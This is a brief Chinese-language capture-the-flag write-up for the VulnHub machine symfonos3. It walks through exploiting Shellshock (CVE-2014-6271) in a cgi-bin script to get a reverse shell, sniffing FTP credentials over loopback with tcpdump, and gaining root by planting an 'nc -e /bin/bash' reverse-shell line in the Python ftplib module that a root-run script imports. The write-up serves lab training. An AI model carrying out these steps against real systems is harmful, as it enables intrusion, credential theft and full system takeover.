OSCP- symfonos3 writeup

主机来源：www.vulnhub.com

下载地址：https://download.vulnhub.com/symfonos/symfonos3v2.7z

发现IP

​
IP为10.0.3.149

nmap

21和22端口看了看没有已知漏洞，我们去80
先扫下目录再说

先访问80端口，看到是一张图片，直接ctrl+U看一下

这里貌似是提示了些什么
接着访问刚才发现的gate目录，也是一张图片，也没有提示
然后去看cgi-bin目录

没有权限，可能这里有问题，我们要找下级目录，我没有暴破出来，想了想刚才提示的句子，试了下加个underworld

可以访问，大概这里有cgi-bin的漏洞
这里借鉴了几篇文章

https://blog.csdn.net/xiaoshan812613234/article/details/42147955
https://blog.csdn.net/qq_36869808/article/details/104005219

CVE-2014-6271

我们在burp中实现，用curl也可以，加-A参数

要提前监听443端口，nc -lvp 443
然后发送数据包，得到shell

tcpdump

然后sudo -l无果，也没有特殊权限的文件，这里我看了wp，再来tcpdump
先把pspy传过去执行一下
https://github.com/DominicBreuker/pspy

看到了ftp，tcpdump一下（这里看了一下tcpdump的权限竟然是777）

tcpdump -i lo -w ppp.cap

直接读文件，发现了另一个用户的用户名密码

可以直接登录

提权

登录之后需要提权
我们知道ftpclient.py是root用户执行的，想着直接修改.py文件，但发现没有写权限

我们读一下这个文件

我们去修改他引用的模块

从前面我知道他用的是python2.7

故我们去修改/usr/lib/python2.7/ftplib.py文件
在中间加一句

os.system("nc 127.0.0.1 12344 -e /bin/bash")

同时开启监听

nc -lvp 12344

提权成功